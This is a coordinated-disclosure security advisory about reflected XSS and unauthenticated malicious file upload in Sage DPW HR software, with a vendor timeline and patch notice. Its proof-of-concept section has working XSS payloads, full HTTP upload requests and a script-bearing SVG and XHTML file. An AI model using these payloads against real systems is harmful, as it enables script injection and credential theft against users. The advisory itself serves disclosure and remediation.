SEC Consult Vulnerability Lab Security Advisory < 20201012-0 >
=======================================================================
title: Reflected Cross-Site Scripting and Unauthenticated
Malicious File Upload
product: Sage DPW
vulnerable version: 2020_06_000 & 2020_06_001
fixed version: 2020_06_002
CVE number: CVE-2020-26583 & CVE-2020-26584
impact: high
homepage: https://www.sagedpw.at/
found: 2020-06
by: Gerhard Hechenberger, Stefan Michlits (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"No matter whether medium-sized company or big brand, whether manufacturing
industry, service company or social institution, public administration,
hospital or construction company: We help companies to efficiently organize
their human resources. Because the success of your company stands and falls
with the ideas, creativity and knowledge of your employees. With Sage DPW you
have the right tools for outstanding human resources management."
Source: https://www.sagedpw.at/loesungen/sage-dpw/
Business recommendation:
------------------------
SEC Consult recommends Sage customers to install the latest updates.
Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.
Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (CVE-2020-26584)
The search field "Kurs suchen" on the page "Kurskatalog" is vulnerable to
Reflected XSS. If an attacker can lure a user into clicking a crafted link,
the attacker can execute arbitrary JavaScript code in the user's browser. The
vulnerability can be used to change the contents of the displayed site,
redirect to other sites or steal user credentials. Additionally, users are
potential victims of browser exploits and JavaScript malware.
2) Authentication Issues and Insufficient File Upload Restrictions (CVE-2020-26583)
The application allows users to upload files via the expenses claiming
functionality. It was identified that an attacker has the possibility to upload
malicious files without any authentication. However, to view the files,
authentication is required. By exploiting this vulnerability, an attacker can
persistently include arbitrary HTML or JavaScript code into the affected web
page. The vulnerability can be used to perform Cross-Site Scripting attacks.
Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (CVE-2020-26584)
To verify this vulnerability, it is sufficient to open the "Kurskatalog" of a
user and insert the following text into the search:
<svg/onload=alert(window.location)>
The browser will issue the following request to the server, containing the
encoded payload in the vulnerable parameters "suchtext" and "suchtxt":
--------------------------------------------------------------------------------
POST /nosso/cgiip.exe/WService=dpw_data/ai1000.htm?dpwr=dpw-000000 HTTP/1.1
Host: example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 630
Connection: close
modus=suchliste&art=Kategorie&suche=&suchtext=%3Csvg%2Fonload%3Dalert%28window.location%29%3E
&liste=&selrowid=&refrowid=&bikatrowid=&apfachrrowid=&apzielgrurowid=&apkursrowid=&bikursrowid=
&bikatkursrowid=&imenu=Info&anzgoback=7&modusalt=suchliste&myid=0000+007065*&myfnr=99
&mypnr=999901&myprofile=MA&berMerkliste=0&berFachrichtung=0&berZielgruppe=0&berKategorie=1
&berNeue_Kurse=0&berOhne_Zuordnung=0&berAntrag_stellen=4&berAntrag_genehmigen=1&berErweiterte_Suche=0
&berBildungsbedarf=0&berVerwaltung_Kurs=0&berKurskatalog=1&berICalendar=4
&opener=(r)isterkarte=registerkarte1&suchtxt=%3Csvg%2Fonload%3Dalert%28window.location%29%3E
--------------------------------------------------------------------------------
2) Authentication Issues and Insufficient File Upload Restrictions (CVE-2020-26583)
The file upload dialog can be found at "Mitarbeiter" - "Reisekosten" - "Meine
Reisen". Arbitrary files can be uploaded containing a malicious code that will
be executed on the client side once a file is opened.
For this example, the following SVG file was used:
--------------------------------------------------------------------------------
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
<circle id="myCircle" cx="200" cy="200" fill="blue" r="150" />
<script type="text/javascript">
alert(document.location);
</script>
</svg>
--------------------------------------------------------------------------------
After uploading the file, it can be opened via the returned link and its
embedded JavaScript code is executed. For reading the file, authentication with
an account using the role "Mitarbeiter" is required, as a valid "dpwr" parameter
is needed. An unauthenticated upload is also possible. For this, an XHTML file
was used and uploaded as a base64 string using the following request:
--------------------------------------------------------------------------------
POST /nosso/cgiip.exe/WService=dpw_data/p-0820.p HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 728
Connection: Keep-Alive
<request action="uploadfile"><data name="data1" value="data:text/html;base64,PGE6c2NyaXB0IHhtbG5zOmE9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KHdpbmRvdy5sb2NhdGlvbik8L2E6c2NyaXB0Pg=="/>
<data name="datacount" value="2"/>
<data name="filename" value="SECConsult.xhtml"/>
<data name="fileblank" value="no"/>
<data name="frameworkpaket" value="Reise"/>
<data name="frameworkart" value="Reisebeleg"/>
<data name="frameworkrowid" value=""/>
<data name="frameworkbesch" value=""/>
<data name="frameworkbelnr" value="AUTOMATIK"/>
<data name="frameworkpapierart" value=""/>
<data name="frameworksecuredata" value=""/>
<data name="frameworkben" value="Testperson"/>
<data name="frameworkmandant" value=""/>
</request>
--------------------------------------------------------------------------------
The response shows, that the file was accepted and returns a document number and
a row ID.
--------------------------------------------------------------------------------
HTTP/1.1 200 Ok
Content-Type: text/xml
Date: Wed, 24 Jun 2020 11:06:03 GMT
Connection: close
Content-Length: 198
<?xml version="1.0" ?>
<response action="uploadfile"><doktype text="pfad"/><doknr checknr="bcdjaImZdkilSeli" checkrowid="0x000000000b4ca212" text="18637"/><besch text="SECConsult.xhtml"/></response>
--------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
The versions 2020_06_000 and 2020_06_001 of Sage DPW were found to be
vulnerable at the time of testing.
Vendor contact timeline:
------------------------
2020-07-16: Contacting vendor through info@sagedpw.at
2020-08-05: Contacting vendor again due to lost message
2020-08-24: Contacting vendor through kundenservice@sagedpw.at
2020-08-31: Contacting vendor again due to no response
2020-09-03: Vendor agreed to proceed without encrypted channel
2020-09-08: Sent security advisory to vendor
2020-09-24: Sage informed us that a patch for all vulnerabilities will
be released on 2020-09-28
2020-09-25: The vendor proposed the next possible publication date for the
advisory for 2020-10-05. Sage released the patch on 2020-09-25.
2020-10-12: Public release of security advisory
Solution:
---------
The vendor provides a patch which should be installed immediately.
Workaround:
-----------
No workaround available.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF G. Hechenberger, S. Michlits / @2020